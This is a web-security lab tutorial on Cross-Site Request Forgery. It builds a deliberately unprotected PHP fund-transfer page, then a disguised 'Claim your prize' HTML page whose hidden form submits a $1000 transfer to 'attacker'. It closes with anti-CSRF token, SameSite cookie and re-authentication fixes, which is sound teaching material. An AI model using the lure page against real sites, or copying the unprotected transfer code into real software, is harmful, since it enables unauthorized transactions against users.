Objective
Learn how to exploit Cross-Site Request Forgery (CSRF) vulnerabilities to trigger state-changing actions (e.g., updating account settings, transferring funds) on behalf of an authenticated user and understand how to prevent these attacks using industry best practices.
Scenario
You are testing a banking application that allows authenticated users to transfer funds. Due to the absence of CSRF protection, an attacker can trick a logged-in user into submitting an unauthorized transfer request without their consent.
Lab Setup
Prerequisites:
- Basic knowledge of PHP and HTML forms.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
PHP Script for Fund Transfer
Create a file transfer.php
:
<?php
session_start();
$_SESSION['user'] = 'alice'; // Simulate a logged-in user
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$amount = $_POST['amount'];
$recipient = $_POST['recipient'];
echo "<h2>\$_SESSION[user] transferred \$${amount} to ${recipient}</h2>";
}
?>
<h2>Transfer Funds</h2>
<form method="POST" action="">
Amount: <input type="number" name="amount" required><br>
Recipient: <input type="text" name="recipient" required><br>
<button type="submit">Transfer</button>
</form>
Running the Application
- Start the Apache server.
- Place
transfer.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/transfer.php
in your browser.
Exploitation Steps
Step 1: Crafting the CSRF Exploit
Create a malicious page csrf_attack.html
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Exclusive Offer!</title>
</head>
<body>
<h2>Click here to claim your prize!</h2>
<img src="#" onmouseover="document.forms[0].submit();">
<form method="POST" action="http://localhost/transfer.php" style="display:none">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="recipient" value="attacker">
</form>
</body>
</html>
Host csrf_attack.html
on any web server and trick the victim into visiting it.
Expected Result:
- The victim unknowingly transfers $1000 to the attacker (
attacker
).
Solution and Prevention
Problem Analysis
- The application does not verify the authenticity of the state-changing request.
Fixing the Vulnerability
Implement Anti-CSRF Tokens
Add CSRF token generation and verification in transfer.php
:
<?php
session_start();
$_SESSION['user'] = 'alice';
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
$amount = $_POST['amount'];
$recipient = $_POST['recipient'];
echo "<h2>\$_SESSION[user] transferred \$${amount} to ${recipient}</h2>";
} else {
echo "<h2>Invalid CSRF token!</h2>";
}
}
?>
<h2>Transfer Funds</h2>
<form method="POST" action="">
Amount: <input type="number" name="amount" required><br>
Recipient: <input type="text" name="recipient" required><br>
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<button type="submit">Transfer</button>
</form>
Use SameSite Cookie Attribute
Add the SameSite
attribute to session cookies:
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.cookie_httponly', 1);
session_start();
Require Re-authentication for Sensitive Actions
Prompt users to re-enter their password for high-risk transactions.
Testing After Fix
- Attempt to perform the CSRF attack using
csrf_attack.html
. - Expected Result:
- The transaction fails due to an invalid CSRF token.
Conclusion
In this lab, you exploited a Cross-Site Request Forgery (CSRF) vulnerability to perform unauthorized fund transfers. You also learned how to prevent CSRF attacks by implementing anti-CSRF tokens, using the SameSite cookie attribute, and requiring re-authentication for sensitive actions.
0 Comments